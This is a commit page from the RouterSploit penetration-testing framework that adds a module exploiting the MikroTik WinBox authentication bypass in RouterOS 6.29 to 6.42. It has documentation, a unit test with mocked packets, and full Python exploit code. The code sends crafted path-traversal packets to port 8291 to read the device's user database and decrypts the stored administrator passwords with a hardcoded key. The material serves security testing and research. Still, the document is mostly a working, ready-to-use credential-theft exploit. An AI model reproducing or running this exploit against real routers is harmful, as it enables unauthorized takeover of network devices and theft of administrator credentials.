Unverified Commit 32405fc3 by Marcin Bury Committed by GitHub

Mikrotik Winbox AuthBypass Creds Disclosure (#479)

* Initial Mikrotik WinBox AuthBypass Creds Disclosure exploit

* Adding tests and docs
parent 67fa6ad1
## Description
Module bypass authentication through WinBox service in Mikrotik devices version from 6.29 (release date: 2015/28/05) to 6.42 (release date 2018/04/20) and retrieves administrative credentials.
## Verification Steps
1. Start `./rsf.py`
2. Do: `use exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure`
3. Do: `set target [TargetIP]`
4. Do: `run`
5. If device is vulnerable administrative credentials are returned.
## Scenarios
```
rsf > use exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure
rsf (Mikrotik WinBox Auth Bypass - Creds Disclosure) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Mikrotik WinBox Auth Bypass - Creds Disclosure) > run
[*] Running module...
[*] Connection established
[+] Target seems to be vulnerable
[*] Dumping credentials
Username Password
-------- --------
user1 test
admin admin
admin admin
```
from hashlib import md5
from routersploit.core.exploit import *
from routersploit.core.tcp.tcp_client import TCPClient
class Exploit(TCPClient):
__info__ = {
"name": "Mikrotik WinBox Auth Bypass - Creds Disclosure",
"description": "Module bypass authentication through WinBox service in Mikrotik devices "
"versions from 6.29 (release date: 2015/28/05) to 6.42 (release date 2018/04/20) "
"and retrieves administrative credentials.",
"authors": (
"Alireza Mosajjal", # vulnerability discovery, poc exploit
"Mostafa Yalpaniyan", # vulnerablity discovery, poc exploit
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"references": (
"https://n0p.me/winbox-bug-dissection/",
"https://github.com/BasuCert/WinboxPoC",
),
"devices": (
"Mikrotik RouterOS versions from 6.29 (release date: 2015/28/05) to 6.42 (release date 2018/04/20)",
)
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(8291, "Target WinBox service")
def __init__(self):
self.packet_a = (
b"\x68\x01\x00\x66\x4d\x32\x05\x00\xff\x01\x06\x00\xff\x09\x05\x07"
b"\x00\xff\x09\x07\x01\x00\x00\x21\x35\x2f\x2f\x2f\x2f\x2f\x2e\x2f"
b"\x2e\x2e\x2f\x2f\x2f\x2f\x2f\x2f\x2e\x2f\x2e\x2e\x2f\x2f\x2f\x2f"
b"\x2f\x2f\x2e\x2f\x2e\x2e\x2f\x66\x6c\x61\x73\x68\x2f\x72\x77\x2f"
b"\x73\x74\x6f\x72\x65\x2f\x75\x73\x65\x72\x2e\x64\x61\x74\x02\x00"
b"\xff\x88\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\xff\x88"
b"\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00"
)
self.packet_b = (
b"\x3b\x01\x00\x39\x4d\x32\x05\x00\xff\x01\x06\x00\xff\x09\x06\x01"
b"\x00\xfe\x09\x35\x02\x00\x00\x08\x00\x80\x00\x00\x07\x00\xff\x09"
b"\x04\x02\x00\xff\x88\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01"
b"\x00\xff\x88\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00"
)
def run(self):
creds = self.get_creds()
if creds:
print_success("Target seems to be vulnerable")
print_status("Dumping credentials")
print_table(("Username", "Password"), *creds)
else:
print_error("Exploit failed - target does not seem to be vulnerable")
@mute
def check(self):
creds = self.get_creds()
if creds:
return True # target is vulnerable
return False # target is not vulnerable
def get_creds(self):
creds = []
tcp_client = self.tcp_connect()
self.tcp_send(tcp_client, self.packet_a)
data = self.tcp_recv(tcp_client, 1024)
if not data or len(data) < 39:
return None
packet = self.packet_b[:19] + data[38:39] + self.packet_b[20:]
self.tcp_send(tcp_client, packet)
data = self.tcp_recv(tcp_client, 1024)
if not data:
return None
self.tcp_close(tcp_client)
creds = self.get_pair(data)
if not creds:
return None
return creds
def decrypt_password(self, user, pass_enc):
key = md5(user + b"283i4jfkai3389").digest()
passw = ""
for i in range(0, len(pass_enc)):
passw += chr(pass_enc[i] ^ key[i % len(key)])
return passw.split("\x00")[0]
def extract_user_pass_from_entry(self, entry):
user_data = entry.split(b"\x01\x00\x00\x21")[1]
pass_data = entry.split(b"\x11\x00\x00\x21")[1]
user_len = user_data[0]
pass_len = pass_data[0]
username = user_data[1:1 + user_len]
password = pass_data[1:1 + pass_len]
return username, password
def get_pair(self, data):
user_list = []
entries = data.split(b"M2")[1:]
for entry in entries:
try:
user, pass_encrypted = self.extract_user_pass_from_entry(entry)
except Exception:
continue
pass_plain = self.decrypt_password(user, pass_encrypted)
user = user.decode("ascii")
user_list.append((user, pass_plain))
return user_list
from routersploit.modules.exploits.routers.mikrotik.winbox_auth_bypass_creds_disclosure import Exploit
def test_check_success(tcp_target):
command_mock1 = tcp_target.get_command_mock(
b"\x68\x01\x00\x66\x4d\x32\x05\x00\xff\x01\x06\x00\xff\x09\x05\x07"
b"\x00\xff\x09\x07\x01\x00\x00\x21\x35\x2f\x2f\x2f\x2f\x2f\x2e\x2f"
b"\x2e\x2e\x2f\x2f\x2f\x2f\x2f\x2f\x2e\x2f\x2e\x2e\x2f\x2f\x2f\x2f"
b"\x2f\x2f\x2e\x2f\x2e\x2e\x2f\x66\x6c\x61\x73\x68\x2f\x72\x77\x2f"
b"\x73\x74\x6f\x72\x65\x2f\x75\x73\x65\x72\x2e\x64\x61\x74\x02\x00"
b"\xff\x88\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\xff\x88"
b"\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00"
)
command_mock1.return_value = (
b"\x37\x01\x00\x35\x4d\x32\x01\x00\xff\x88\x02\x00\x00\x00\x00\x00"
b"\x08\x00\x00\x00\x02\x00\xff\x88\x02\x00\x02\x00\x00\x00\x02\x00"
b"\x00\x00\x01\x00\xfe\x09\x1b\x03\x00\xff\x09\x02\x02\x00\x00\x08"
b"\x36\x01\x00\x00\x06\x00\xff\x09\x05"
)
command_mock2 = tcp_target.get_command_mock(
b"\x3b\x01\x00\x39\x4d\x32\x05\x00\xff\x01\x06\x00\xff\x09\x06\x01"
b"\x00\xfe\x09\x1b\x02\x00\x00\x08\x00\x80\x00\x00\x07\x00\xff\x09"
b"\x04\x02\x00\xff\x88\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01"
b"\x00\xff\x88\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00"
)
command_mock2.return_value = (
b"\xff\x01\x01\x68\x4d\x32\x01\x00\xff\x88\x02\x00\x00\x00\x00\x00"
b"\x08\x00\x00\x00\x02\x00\xff\x88\x02\x00\x02\x00\x00\x00\x02\x00"
b"\x00\x00\x04\x00\x00\x01\x03\x00\xff\x09\x02\x06\x00\xff\x09\x06"
b"\x03\x00\x00\x30\x36\x01\x57\x00\x4d\x32\x10\x00\x00\xa8\x00\x00"
b"\x1c\x00\x00\x01\x0a\x00\xfe\x00\x05\x00\x00\x09\x00\x06\x00\x00"
b"\x09\x00\x0b\x00\x00\x08\xfe\xff\x07\x00\x12\x00\x00\x09\x02\x01"
b"\x00\xfe\x09\x02\x02\x00\x00\x09\x03\x09\x00\xfe\x21\x00\x11\x00"
b"\x00\x21\x10\x76\x08\xc6\x04\x66\xa6\x3d\x2a\xb7\xcd\xec\x68\xe2"
b"\x6e\x44\x0e\x01\x00\x00\x21\x05\x75\x73\x65\x72\x31\x6d\x69\x6e"
b"\x6a\x00\x4d\x32\x10\x00\x00\xa8\x00\x00\x1c\x00\x00\x01\x0a\x00"
b"\xfe\x00\x05\x00\x00\x09\x00\x06\x00\x00\x09\x00\x0b\x00\x00\x08"
b"\xfe\xff\x07\x00\x12\x00\x00\x09\x02\x01\x00\xfe\x09\x01\x02\x00"
b"\x00\x09\x03\x09\x00\xfe\x21\x13\x73\x79\x73\x74\x65\x6d\x20\x64"
b"\x65\x66\x61\x75\x6c\x74\x20\x75\x73\x65\x72\x11\x00\x00\x21\x10"
b"\x29\xdb\xb3\x6f\x27\x5a\x0e\x2d\x09\xd5\xfb\x27\xb1\x44\xec\x93"
b"\x01\x00\x00\x21\x05\x61\x64\x6d\x69\x6e\x72\x00\x4d\x32\x10\x00"
b"\x00\x6b\xff\xa8\x00\x00\x1c\x00\x00\x01\x0a\x00\xfe\x00\x05\x00"
b"\x00\x09\x00\x06\x00\x00\x09\x00\x1f\x00\x00\x08\x36\x2b\x35\x5b"
b"\x0b\x00\x00\x08\xfe\xff\x07\x00\x12\x00\x00\x09\x02\x01\x00\xfe"
b"\x09\x01\x02\x00\x00\x09\x03\x09\x00\xfe\x21\x13\x73\x79\x73\x74"
b"\x65\x6d\x20\x64\x65\x66\x61\x75\x6c\x74\x20\x75\x73\x65\x72\x11"
b"\x00\x00\x21\x10\x29\xdb\xb3\x6f\x27\x5a\x0e\x2d\x09\xd5\xfb\x27"
b"\xb1\x44\xec\x93\x01\x00\x00\x21\x05\x61\x64\x6d\x69\x6e"
)
exploit = Exploit()
exploit.target = tcp_target.host
exploit.port = tcp_target.port
assert exploit.check()
assert exploit.run() is None
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment